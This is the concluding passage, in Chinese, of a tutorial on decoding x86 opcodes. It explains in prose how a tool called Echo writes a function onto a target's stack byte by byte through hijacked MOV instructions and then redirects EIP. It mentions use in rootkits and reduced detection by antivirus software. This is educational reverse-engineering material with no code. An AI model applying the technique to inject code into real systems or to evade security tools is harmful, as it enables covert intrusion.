接下来调用的 WaitForSelfJMP 函数将检查我们是否确实进入了此条件。一旦满足此条件,我们使用 WriteDWORD 函数实际执行注入。此函数简单明了,应该易于理解:它所做的只是将我们捕获的 MOV 指令的源寄存器设置为要注入函数的一个字节,并将指令的目标寄存器设置为持续递减的堆栈指针的地址。MOV 指令的地址在堆栈上,并将在每次迭代结束时弹出到 EIP 中。我们循环重复此操作,直到注入的函数完全放置在堆栈上,然后将 EIP 更改为其起始地址。不幸的是,如前所述,此代码在启用了 DEP 的系统下将无法工作,因为不再可能从堆栈执行代码。此外,这在 ASLR 下也无法工作,因为 Ntdll 的地址在所有进程中都不会相同。

Echo 的代码是一个很好的例子,说明了深入了解指令编码和汇编方式如何帮助我们编写原创且有效的代码,无论是用于我们自己的 rootkit 还是防御工具。Echo 使用最小化且动态的反汇编引擎,能够动态地寻找特定指令并相应地调整其代码。API 函数的使用也最小化了,因此提供给杀毒软件或入侵检测系统的检测面大大减少。

结论

本文旨在提供一个扎实的教程,介绍如何读取和解码 x86 操作码,并展示如何将这些知识应用于您自己的工具。最终,逆向工程师和恶意软件分析师无法逃避深入理解系统的需求,这通常意味着需要与所有这些字节和位过于亲密。但知识就是力量,您会发现学习如何使用 Intel 手册并密切关注小细节将以令人兴奋和意想不到的方式提升您的技能。

© . All rights reserved.